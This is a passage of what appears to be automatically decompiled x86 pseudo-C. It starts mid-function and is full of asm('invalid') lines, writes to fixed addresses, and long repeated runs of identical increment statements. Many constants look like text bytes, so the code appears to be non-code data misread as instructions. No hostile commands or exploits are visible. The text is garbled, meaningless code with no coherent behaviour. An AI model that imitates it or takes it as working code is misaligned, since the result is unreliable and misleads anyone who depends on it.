        													 *_t317 =  *_t317 + 1;
        													 *[es:eax] =  *[es:eax] + _t218;
        													 *0x6c460007 =  *0x6c460007 + _t338;
        												} else {
        													 *0xf781ba8 =  *0xf781ba8 + _t217;
        													_t308 = _t217 | 0x2503ff00;
        													 *_t308 =  *_t308 + _t308;
        													 *_t337 =  *_t337 + _t337;
        													_push(es);
        													 *((intOrPtr*)(_t317 + 0x45)) =  *((intOrPtr*)(_t317 + 0x45)) + _t308;
        													_t369 = _t369 - 1;
        													_push(_t386);
        													_push(_t348);
        													_t375 = _t372 + 1;
        													 *_t369 =  *_t369 + _t308;
        													 *0x65727000 =  *0x65727000 + _t308;
        													asm("insd");
        													_t309 =  *_t308 * 0x9005a005;
        													goto L18;
        												}
        											}
        										}
        									}
        								} else {
        									 *_t369 =  *_t369 + _t218;
        									 *_t369 =  *_t369 + _t218;
        									 *((intOrPtr*)(_t218 + 0x49)) =  *((intOrPtr*)(_t218 + 0x49)) + _t337;
        									_t386 = _t386 - 1;
        									_t337 = _t337 + 1;
        									goto L8;
        								}
        							}
        						}
        					}
        				}
        				_t219 = _t218 | 0x6c460007;
        				asm("popad");
        				if(_t219 != 0) {
        					L28:
        					asm("adc cl, [eax]");
        					_t322 = _t317 + _t317;
        					_t391 = _t390 +  *0x10000000;
        					_t220 = _t219 + 0x736e4300;
        					if (_t220 < 0) goto L29;
        					_t221 = _t220 +  *((intOrPtr*)(_t220 + _t369 * 4));
        					asm("adc edx, [eax]");
        					_push(cs);
        					goto L30;
        				} else {
        					 *[ss:bp+si] =  *[ss:bp+si] + _t219;
        					asm("psubusb mm1, [ecx]");
        					_t304 = _t219 + 0x495453f0;
        					_t332 = _t317 - 1;
        					 *_t348 =  *_t348 + _t348;
        					_t305 = _t304 |  *_t304;
        					 *_t332 =  *_t332 + 1;
        					 *[es:eax] =  *[es:eax] + _t305;
        					 *_t369 =  &(_t338[ *_t369]);
        					es = _t304;
        					 *((intOrPtr*)(_t348 + 0x72)) =  *((intOrPtr*)(_t348 + 0x72)) + _t348;
        					asm("popad");
        					asm("o16 jb 0x6c");
        					asm("adc edx, [eax]");
        					_push(cs);
        					_t223 = (_t305 ^ 0xb0040200) + 0x6b724100;
        					_t369 =  *_t369 * 0xff000912;
        					_t395 = _t390 +  *0xb01ef04;
        					 *_t223 =  *_t223 + _t223;
        					 *0xb01ef04 =  &(_t338[ *0xb01ef04]);
        					 *_t223 =  *_t223 | _t223;
        					_t322 = _t332 - 1;
        					_t429 = _t322;
        					if(_t429 != 0) {
        						L34:
        						asm("outsb");
        						if(_t434 == 0) {
        							 *_t223 =  *_t223 + _t223;
        							asm("adc eax, 0x61420004");
        							asm("outsb");
        							 *[fs:edx] =  *[fs:edx] + _t223;
        							_t295 = _t223 + 0xb0;
        							asm("adc edx, [eax]");
        							_push(cs);
        							_t359 = 0xb01ef04;
        							_push(es);
        							_t83 = _t295 + 0x61;
        							 *_t83 =  *((intOrPtr*)(_t295 + 0x61)) + _t348;
        							asm("outsb");
        							if( *_t83 == 0) {
        								goto L47;
        							} else {
        								_t296 =  *_t295 * 0xff000212;
        								goto L42;
        							}
        						} else {
        							_t301 =  *_t223 * 0x13b00402;
        							asm("adc [esi], cl");
        							_pop(es);
        							_t338[0x61 + _t375 * 2] = _t338[0x61 + _t375 * 2] + _t301;
        							_t375 =  *0x0B01EF72 * 0x35;
        							 *_t348 =  *_t348 + _t348;
        							_t302 = _t301 + 0x2603ff00;
        							 *_t302 =  *_t302 + _t302;
        							 *_t322 =  *_t322 + _t348;
        							_t296 = _t302 + 0x65645500;
        							if(_t296 < 0) {
        								L42:
        								asm("adc al, [edx]");
        								_t323 = _t322 + _t322;
        								 *_t296 =  *_t296 + _t296;
        								_push(ss);
        								_t297 = _t296 + 0x73615300;
        								_t369 =  *_t338 * 0xb0040200;
        								asm("adc edx, [eax]");
        								_push(cs);
        								_t359 = 0xb01ef04;
        								asm("out dx, eax");
        								 *_t323 =  *_t323 + _t338;
        								_t298 = _t297 + 0x49524100;
        								_t376 = _t375 + 1;
        								 *_t348 =  *_t348 + _t348;
        								 *_t298 =  *_t298 + _t298;
        								 *_t323 =  *_t323 + 1;
        								_t299 = _t298 & 0x00000000;
        								 *_t299 =  *_t299 + _t299;
        								ss = _t348;
        								_t226 = _t299;
        								asm("insb");
        								asm("popad");
        								if(_t226 < 0) {
        									 *_t323 =  *_t323 + _t226;
        									 *_t369 =  *_t369 + _t226;
        									_push(es);
        									_t86 =  &(_t338[0x6e + _t375 * 2]);
        									 *_t86 = _t338[0x6e + _t375 * 2] + _t348;
        									asm("outsd");
        									if( *_t86 < 0) {
        										 *0xf00f78 =  *0xf00f78 + _t223;
        										 *_t359 =  *_t359 & _t223;
        										ss = _t359;
        										asm("adc al, [eax]");
        										_t322 = _t322 + _t322;
        										 *_t223 =  *_t223 + _t223;
        										 *_t223 =  *_t223 + _t322;
        										_t295 = _t223;
        										_t338 =  &(_t338[1]);
        										asm("arpl [ebx+0x61], sp");
        										 *_t322 =  *_t322 + _t295;
        										 *0x72795000 =  *0x72795000 + _t295;
        										_t446 =  *0x72795000;
        										if (_t446 == 0) goto L48;
        										L47:
        										if (_t446 == 0) goto L48;
        										_t223 = _t295 + 0x8e802d0;
        										 *_t359 =  *_t359 & _t223;
        										ss = _t359;
        										asm("adc dl, [edi]");
        										_t322 = _t322 + _t322 +  *_t338;
        										 *_t223 =  *_t223 + _t223;
        										 *_t338 =  *_t338 + _t322;
        									}
        									asm("sbb [esi], eax");
        									_t338[0x6d] =  &(_t338[_t338[0x6d]]);
        									asm("popad");
        									 *[gs:bx+si] =  *[gs:bx+si] ^ _t223;
        									asm("sbb [ebx], al");
        									_pop(_t376);
        									_pop(es);
        									 *_t359 = 7;
        									asm("insb");
        									_t323 = _t322;
        									_t225 = 7 + _t359[1];
        									 *_t225 =  *_t225 + _t225;
        									 *((intOrPtr*)(_t225 + 0x7004030)) =  *((intOrPtr*)(_t225 + 0x7004030)) + _t323;
        									 *_t225 =  *_t225 + _t225;
        									 *((intOrPtr*)(_t225 + 0x30)) =  *((intOrPtr*)(_t225 + 0x30)) + _t348;
        									_t226 = _t225 + 1;
        									 *_t359 =  *_t359 + _t226;
        									 *_t226 =  *_t226 + _t226;
        								}
        							} else {
        								 *_t348 =  *_t348 + _t296;
        								_t297 = _t296 + 0xb0;
        								asm("adc edx, [eax]");
        								_t359 = 0xb01ef04;
        								es = cs;
        								_t74 = _t375 + 0x72;
        								 *_t74 =  *((intOrPtr*)(_t375 + 0x72)) + _t297;
        								asm("outsb");
        								if ( *_t74 < 0) goto L43;
        								goto L37;
        							}
        						}
        					} else {
        						asm("popad");
        						if(_t429 >= 0) {
        							L33:
        							 *_t223 =  *_t223 + _t223;
        							asm("adc al, [0x746e6100]");
        							goto L34;
        						} else {
        							if(_t429 > 0) {
        								 *_t348 =  *_t348 + _t223;
        								asm("adc edx, [eax]");
        								_push(cs);
        								_t219 = _t223 + 0x44414db0;
        								_t390 = _t395 - 1;
        								_t375 = _t375 + 1;
        								 *_t348 =  *_t348 + _t348;
        								goto L28;
        							}
        							L30:
        							_push(es);
        							_t63 = _t369 + 0x6c;
        							 *_t63 =  *((intOrPtr*)(_t369 + 0x6c)) + _t221;
        							_t433 =  *_t63;
        							if(_t433 < 0) {
        								L37:
        								_t375 =  *(_t369 + 0x35) * 0x41200;
        							} else {
        								if (_t433 >= 0) goto L32;
        								asm("adc al, [edi]");
        								asm("outsd");
        								_t223 = _t221 + 0x646e4d00 ^ 0xb0040200;
        								asm("adc edx, [eax]");
        								_push(cs);
        								_push(es);
        								 *((intOrPtr*)(_t223 + 0x41)) =  *((intOrPtr*)(_t223 + 0x41)) + _t348;
        								_push(_t223);
        								_t338 = _t338 - 1;
        								_push(_t348);
        								 *_t348 =  *_t348 + _t348;
        								_push(es);
        								_t322 = _t322 + _t322 + _t322 + _t322;
        								_t395 = _t391 +  *0x11000000 - 1 +  *_t369;
        								 *_t223 =  *_t223 + _t223;
        								_t434 =  *_t223;
        								goto L33;
        							}
        						}
        					}
        				}
        				 *((intOrPtr*)(_t226 + _t369)) =  *((intOrPtr*)(_t226 + _t369)) + _t323;
        				_t227 = _t226 + 1;
        				 *_t359 =  *_t359 + _t227;
        				 *_t227 =  *_t227 + _t227;
        				asm("das");
        				_t229 = _t227 + _t227 + 1;
        				 *_t359 =  *_t359 + _t229;
        				 *_t229 =  *_t229 + _t229;
        				 *((intOrPtr*)(_t359 + _t376 + 0x40)) =  *((intOrPtr*)(_t359 + _t376 + 0x40)) + _t348;
        				 *_t369 =  *_t369 + _t229;
        				 *_t229 =  *_t229 + _t229;
        				 *((intOrPtr*)(_t229 + 0x100402d)) =  *((intOrPtr*)(_t229 + 0x100402d)) + _t348;
        				 *_t369 =  *_t369 + _t229;
        				 *((intOrPtr*)(_t229 + 0x4021)) =  *((intOrPtr*)(_t229 + 0x4021)) + _t229;
        				 *_t229 =  *_t229 + _t229;
        				_t324 = _t323 + _t323;
        				asm("invalid");
        				asm("invalid");
        				asm("invalid");
        				 *_t229 =  *_t229 + 1;
        				 *_t229 =  *_t229 + _t229;
        				_t231 = _t229 + _t348 &  *(_t229 + _t348);
        				if(_t231 >= 0) {
        					_t345 =  &(_t338[1]);
        					 *_t231 =  *_t231 + _t231;
        					 *_t231 =  *_t231 + _t231;
        					 *_t231 =  *_t231 + _t231;
        					_t294 = _t231 &  *[ss:eax];
        					 *_t294 =  *_t294 + _t294;
        					 *_t294 =  *_t294 + _t294;
        					 *_t294 =  *_t294 + _t294;
        					 *_t294 =  *_t294 + _t294;
        					 *_t294 =  *_t294 + _t294;
        					 *_t294 =  *_t294 + _t294;
        					 *_t324 =  *_t324 + _t324;
        					_t231 = _t294 + 1;
        					 *_t345 =  *_t345 + _t231;
        					 *_t324 =  *_t324 + _t231;
        					 *((intOrPtr*)(_t231 + 0x4021)) =  *((intOrPtr*)(_t231 + 0x4021)) + _t231;
        					 *_t231 =  *_t231 + _t231;
        					_t324 = _t324 + _t324;
        					asm("invalid");
        					asm("invalid");
        					asm("invalid");
        					 *_t231 =  *_t231 + 1;
        					 *_t231 =  *_t231 + _t231;
        					 *((intOrPtr*)(_t348 + 0x40)) =  *((intOrPtr*)(_t348 + 0x40)) + _t231;
        					 *((intOrPtr*)(_t231 + 0x50)) =  *((intOrPtr*)(_t231 + 0x50)) + _t231;
        					_t338 =  &(_t345[1]);
        					 *_t231 =  *_t231 + _t231;
        					 *_t231 =  *_t231 + _t231;
        					 *((intOrPtr*)(_t231 + 0x2237)) =  *((intOrPtr*)(_t231 + 0x2237)) + _t231;
        					 *_t231 =  *_t231 + _t231;
        					 *_t231 =  *_t231 + _t231;
        					 *_t231 =  *_t231 + _t231;
        					 *_t231 =  *_t231 + _t231;
        					 *_t231 =  *_t231 + _t231;
        					 *_t231 =  *_t231 + _t324;
        					asm("sbb eax, [eax]");
        				}
        				_t232 = _t231 + 1;
        				 *_t338 =  *_t338 + _t232;
        				 *(_t232 + _t232) =  *(_t232 + _t232) + _t232;
        				 *_t338 =  *_t338 & 0x00000040;
        				 *_t232 =  *_t232 + _t232;
        				 *_t232 =  *_t232 + _t232;
        				_t325 = _t324 + _t324;
        				asm("invalid");
        				asm("invalid");
        				asm("invalid");
        				 *_t232 =  *_t232 + 1;
        				 *_t232 =  *_t232 + _t232;
        				 *((intOrPtr*)(_t348 + 0x50500040)) =  *((intOrPtr*)(_t348 + 0x50500040)) + _t348;
        				_t339 =  &(_t338[1]);
        				 *_t232 =  *_t232 + _t232;
        				 *_t232 =  *_t232 + _t232;
        				asm("aaa");
        				_t234 = _t232 + _t232 &  *(_t232 + _t232);
        				 *_t234 =  *_t234 + _t234;
        				 *_t234 =  *_t234 + _t234;
        				 *_t234 =  *_t234 + _t234;
        				 *_t234 =  *_t234 + _t234;
        				 *_t234 =  *_t234 + _t234;
        				 *_t234 =  *_t234 + _t234;
        				if( *_t234 >= 0) {
        					_t293 = _t234 + 1;
        					 *_t339 =  *_t339 + _t293;
        					 *0x40218000 =  *0x40218000 + _t293;
        					 *_t293 =  *_t293 + _t293;
        					 *_t293 =  *_t293 + _t293;
        					_t325 = _t325 + _t325;
        					asm("invalid");
        					asm("invalid");
        					asm("invalid");
        					 *_t293 =  *_t293 + 1;
        					 *_t293 =  *_t293 + _t293;
        					_t234 = _t293 + _t293;
        				}
        				_t235 = _t234 &  *_t234;
        				asm("pushad");
        				_push(_t235);
        				_t340 =  &(_t339[1]);
        				 *_t235 =  *_t235 + _t235;
        				 *_t235 =  *_t235 + _t235;
        				_t237 = _t235 + _t348 &  *[ss:eax];
        				 *_t237 =  *_t237 + _t237;
        				 *_t237 =  *_t237 + _t237;
        				 *_t237 =  *_t237 + _t237;
        				 *_t237 =  *_t237 + _t237;
        				 *_t237 =  *_t237 + _t237;
        				 *_t237 =  *_t237 + _t237;
        				_t238 = _t237 + 1;
        				 *_t340 =  *_t340 + _t238;
        				 *_t359 =  *_t359 + _t238;
        				 *((intOrPtr*)(_t238 + 0x4021)) =  *((intOrPtr*)(_t238 + 0x4021)) + _t238;
        				 *_t238 =  *_t238 + _t238;
        				_t326 = _t325 + _t325;
        				asm("invalid");
        				asm("invalid");
        				asm("invalid");
        				 *_t238 =  *_t238 + 1;
        				 *_t238 =  *_t238 + _t238;
        				 *_t326 =  *_t326 + _t238;
        				_t239 = _t238 + 1;
        				 *((intOrPtr*)(_t239 + 0x4150)) =  *((intOrPtr*)(_t239 + 0x4150)) + _t239;
        				 *_t239 =  *_t239 + _t239;
        				 *_t239 =  *_t239 + _t348;
        				_t240 = _t239 &  *[ss:eax];
        				 *_t240 =  *_t240 + _t240;
        				 *_t240 =  *_t240 + _t240;
        				 *_t240 =  *_t240 + _t240;
        				 *_t240 =  *_t240 + _t240;
        				 *_t240 =  *_t240 + _t240;
        				 *_t240 =  *_t240 + _t240;
        				asm("loopne 0x1d");
        				_t241 = _t240 + 1;
        				 *_t340 =  *_t340 + _t241;
        				 *_t241 =  *_t241 + _t340;
        				 *((intOrPtr*)(_t241 + 0x4021)) =  *((intOrPtr*)(_t241 + 0x4021)) + _t241;
        				 *_t241 =  *_t241 + _t241;
        				_t327 = _t326 + _t326;
        				asm("invalid");
        				asm("invalid");
        				asm("invalid");
        				 *_t241 =  *_t241 + 1;
        				 *_t241 =  *_t241 + _t241;
        				 *((intOrPtr*)(_t327 + 0x40)) =  *((intOrPtr*)(_t327 + 0x40)) + _t348;
        				 *((intOrPtr*)(_t241 + 0x4150)) =  *((intOrPtr*)(_t241 + 0x4150)) + _t348;
        				 *_t241 =  *_t241 + _t241;
        				 *((intOrPtr*)(_t241 + 0x2236)) =  *((intOrPtr*)(_t241 + 0x2236)) + _t241;
        				 *_t241 =  *_t241 + _t241;
        				 *_t241 =  *_t241 + _t241;
        				 *_t241 =  *_t241 + _t241;
        				 *_t241 =  *_t241 + _t241;
        				 *_t241 =  *_t241 + _t241;
        				 *_t241 =  *_t241 + _t327;
        				asm("sbb al, 0x40");
        				 *_t340 =  *_t340 + _t241;
        				 *_t348 =  *_t348 + _t241;
        				 *((intOrPtr*)(_t241 + 0x4021)) =  *((intOrPtr*)(_t241 + 0x4021)) + _t241;
        				 *_t241 =  *_t241 + _t241;
        				_t328 = _t327 + _t327;
        				asm("invalid");
        				asm("invalid");
        				asm("invalid");
        				 *_t241 =  *_t241 + 1;
        				 *_t241 =  *_t241 + _t241;
        				 *_t348 =  *_t348 + _t348;
        				_t242 = _t241 + 1;
        				 *_t242 =  *_t242 + _t348;
        				_push(_t242);
        				_t341 =  &(_t340[1]);
        				 *0x50000000 =  *0x50000000 + _t242;
        				asm("sbb al, 0x40");
        				 *_t242 =  *_t242 + _t242;
        				 *_t242 =  *_t242 + _t242;
        				 *_t242 =  *_t242 + _t242;
        				 *_t242 =  *_t242 + _t242;
        				 *_t242 =  *_t242 + _t242;
        				 *_t242 =  *_t242 + _t242;
        				 *((intOrPtr*)(_t242 + 0x1c)) =  *((intOrPtr*)(_t242 + 0x1c)) + _t348;
        				_t243 = _t242 + 1;
        				 *((intOrPtr*)(_t243 + _t243)) =  *((intOrPtr*)(_t243 + _t243)) + _t243;
        				 *((intOrPtr*)(_t243 + _t243)) =  *((intOrPtr*)(_t243 + _t243)) + _t243;
        				 *_t243 =  *_t243 + _t243;
        				 *_t243 =  *_t243 + _t243;
        				 *_t243 =  *_t243 + _t243;
        				 *_t243 =  *_t243 + _t243;
        				 *_t243 =  *_t243 + _t243;
        				 *_t243 =  *_t243 + _t243;
        				 *_t243 =  *_t243 + _t243;
        				_t349 = _t348 + 1;
        				_t244 = _t243 ^ 0x2a263621;
        				 *_t244 =  *_t244 + _t244;
        				 *_t244 =  *_t244 + _t244;
        				 *_t244 =  *_t244 + _t244;
        				 *_t244 =  *_t244 + _t244;
        				 *_t244 =  *_t244 + _t244;
        				 *_t244 =  *_t244 + _t244;
        				 *_t369 =  *_t369 + _t328;
        				 *_t244 =  *_t244 + _t244;
        				 *_t244 =  *_t244 + _t244;
        				 *_t244 =  *_t244 + _t244;
        				 *_t244 =  *_t244 + _t244;
        				 *_t244 =  *_t244 + _t244;
        				 *_t244 =  *_t244 + _t244;
        				_t246 = (_t244 |  *_t244) + 4;
        				 *_t246 =  *_t246 + _t246;
        				 *_t246 =  *_t246 + _t246;
        				 *_t246 =  *_t246 + _t246;
        				 *_t246 =  *_t246 + _t246;
        				 *_t246 =  *_t246 + _t246;
        				ds = _t369;
        				_t247 = _t246 + 1;
        				 *((intOrPtr*)(_t247 + 0x30 + _t369 * 8)) =  *((intOrPtr*)(_t247 + 0x30 + _t369 * 8)) + _t341;
        				 *_t247 =  *_t247 + _t247;
        				asm("invalid");
        				 *_t247 =  *_t247 - 1;
        				 *_t247 =  *_t247 + _t247;
        				 *_t341 =  *_t341 + _t247;
        				 *_t247 =  *_t247 + _t247;
        				 *_t349 =  *_t349 + _t247;
        				_t248 = _t247 +  *_t247;
        				 *_t248 =  *_t248 + _t248;
        				goto 0xf4401cb1;
        				asm("sbb al, 0x40");
        				 *((intOrPtr*)(_t248 + 0xc00401a)) =  *((intOrPtr*)(_t248 + 0xc00401a)) + _t328;
        				_push(ss);
        				_t249 = _t248 + 1;
        				 *_t249 =  *_t249 + _t328;
        				 *_t249 =  *_t249 + _t249;
        				if ( *_t249 > 0) goto L56;
        				 *_t249 =  *_t249 + _t249;
        				 *_t249 =  *_t249 + _t249;
        				_t250 =  *_t249;
        				 *_t250 = _t249;
        				 *_t250 =  *_t250 + _t250;
        				 *_t250 =  *_t250 + _t250;
        				 *_t250 =  *_t250 + _t250;
        				 *_t250 =  *_t250 + _t250;
        				 *_t250 =  *_t250 + _t250;
        				 *_t250 =  *_t250 + _t250;
        				 *_t250 =  *_t250 + _t250;
        				 *_t250 =  *_t250 + _t250;
        				 *_t250 =  *_t250 + _t250;
        				asm("a16 gs outsd");
        				asm("arpl [eax+0x72], bp");
        				_t341[0x67] = _t341[0x67] + _t250;
        				asm("outsb");
        				asm("gs insb");
        				 *_t250 =  *_t250 + _t250;
        				_push(_t328);
        				if( *_t250 == 0) {
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t341 =  *_t341 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *_t250 =  *_t250 + _t250;
        					 *((intOrPtr*)(_t328 + 0x79)) =  *((intOrPtr*)(_t328 + 0x79)) + _t250;
        					 *_t250 =  *_t250 + _t250;
        					_t342 =  &(_t341[1]);
        					_t252 = _t250 + _t341 + 1;
        					 *((intOrPtr*)(_t252 + _t252 + 0x10000)) =  *((intOrPtr*)(_t252 + _t252 + 0x10000)) + _t328;
        					 *_t252 =  *_t252 + _t252;
        					 *_t342 =  *_t342 & 0x00000040;
        					 *_t252 =  *_t252 + _t252;
        					 *_t252 =  *_t252 + _t252;
        					_t253 = _t252 + _t328;
        					asm("invalid");
        					 *_t253 =  *_t253 + _t253;
        					 *_t253 =  *_t253 + _t253;
        					_t255 = _t253 + 0x23;
        					 *((intOrPtr*)(_t255 + _t349 * 2)) =  *((intOrPtr*)(_t255 + _t349 * 2)) + _t328;
        					_t343 =  &(_t342[1]);
        					 *_t255 =  *_t255 + _t255;
        					 *_t255 =  *_t255 + _t255;
        					 *((intOrPtr*)(_t255 + 0x36)) =  *((intOrPtr*)(_t255 + 0x36)) + _t349;
        					_t256 = _t255 &  *_t255;
        					 *_t256 =  *_t256 + _t256;
        					 *_t256 =  *_t256 + _t256;
        					 *_t256 =  *_t256 + _t256;
        					 *_t256 =  *_t256 + _t256;
        					 *_t256 =  *_t256 + _t256;
        					 *_t256 =  *_t256 + _t256;
        					_t258 = (_t256 | 0x0000001e) + 1;
        					 *_t343 =  *_t343 + _t258;
        					 *_t258 =  *_t258 + _t258;
        					 *_t258 =  *_t258 + _t343;
        					asm("das");
        					_t259 = _t258 + 1;
        					 *_t259 =  *_t259 + _t259;
        					 *_t259 =  *_t259 + _t259;
        					 *((intOrPtr*)(0xffff0040 + _t328)) =  *((intOrPtr*)(0xffff0040 + _t328)) + _t343;
        					_t260 = _t259 + 1;
        					 *_t343 =  *_t343 + _t260;
        					 *_t260 =  *_t260 + _t260;
        					 *((intOrPtr*)(0xffff0040 + _t328)) =  *((intOrPtr*)(0xffff0040 + _t328)) + _t349;
        					_t261 = _t260 + 1;
        					 *_t261 =  *_t261 + _t261;
        					 *_t261 =  *_t261 + _t261;
        					 *_t261 =  *_t261 + _t349;
        					_t262 = _t261 + 1;
        					 *_t349 =  *_t349 + _t262;
        					 *_t262 =  *_t262 + _t262;
        					 *((intOrPtr*)(0xffff0040 + _t328)) =  *((intOrPtr*)(0xffff0040 + _t328)) + _t349;
        					_t263 = _t262 + 1;
        					 *_t263 =  *_t263 + _t263;
        					_t359[0x1b001a00] = _t359[0x1b001a00] + _t349;
        					 *((intOrPtr*)(0xffff0040 + _t328 + 0x40)) =  *((intOrPtr*)(0xffff0040 + _t328 + 0x40)) + _t263;
        					 *((intOrPtr*)(0xffff0040 + 0x41 + _t349 * 2)) =  *((intOrPtr*)(0xffff0040 + 0x41 + _t349 * 2)) + _t343;
        					 *_t263 =  *_t263 + _t263;
        					 *_t263 =  *_t263 + _t263;
        					 *((intOrPtr*)(_t263 + 0x3800241e)) =  *((intOrPtr*)(_t263 + 0x3800241e)) + _t349;
        					asm("das");
        					_t264 = _t263 + 1;
        					 *((intOrPtr*)(_t264 + 0x2f)) =  *((intOrPtr*)(_t264 + 0x2f)) + _t343;
        					_t265 = _t264 + 1;
        					 *_t265 =  *_t265 + _t265;
        					_t269 = ((_t265 | 0x00003400) + _t328 & 0x00010040) +  *((_t265 | 0x00003400) + _t328 & 0x00010040);
        					 *_t269 =  *_t269 + _t269;
        					 *_t269 =  *_t269 + _t269;
        					 *_t269 =  *_t269 + _t269;
        					 *_t269 =  *_t269 + _t269;
        					_t271 = _t269 + 1 + _t349;
        					_t344 = ds;
        					 *_t271 =  *_t271 & _t271;
        					asm("in al, dx");
        					_t274 = (_t271 & 0x00010040) +  *(_t271 & 0x00010040) + 1;
        					 *_t359 =  *_t359 + _t328;
        					 *_t274 =  *_t274 + _t328;
        					 *_t274 =  *_t274 + _t274;
        					_t276 = _t274 + _t349 & 0xffff0040;
        					asm("invalid");
        					 *_t276 =  *_t276 + _t276;
        					 *_t276 =  *_t276 + _t276;
        					 *_t276 =  *_t276 + _t276;
        					 *_t276 =  *_t276 + _t276;
        					 *0x0000001F =  *0x0000001F + 0x1e;
        					_t350 = ds;
        					 *0x0000001F =  *0x0000001F & 0x0000001e;
        					_t329 = _t328 + _t328;
        					asm("invalid");
        					 *0x00000046 =  *((intOrPtr*)(0x46)) + 1;
        					 *((intOrPtr*)(0x46)) =  *((intOrPtr*)(0x46)) + 0x1e;
        					 *((intOrPtr*)(0xffff0040 + _t329)) =  *((intOrPtr*)(0xffff0040 + _t329)) + _t350;
        					asm("adc al, 0x1e");
        					 *((intOrPtr*)(_t376 + _t329 + 0x15e80040)) =  *((intOrPtr*)(_t376 + _t329 + 0x15e80040)) + _t350;
        					_t351 = _t350 + _t344;
        					asm("adc eax, 0x15f40040");
        					 *0x00000049 =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0x49)) =  *((intOrPtr*)(0x49)) + 0x1e;
        					 *((intOrPtr*)(0xffff0040 + _t329)) =  *((intOrPtr*)(0xffff0040 + _t329)) + _t329;
        					 *((intOrPtr*)(_t376 + _t329 + 0x15e80040)) =  *((intOrPtr*)(_t376 + _t329 + 0x15e80040)) + _t351;
        					_t352 = _t351 + _t344;
        					asm("adc eax, 0x15f40040");
        					 *0x0000004C =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
        					 *((intOrPtr*)(0x4c)) =  *((intOrPtr*)(0x4c)) + 0x1e;
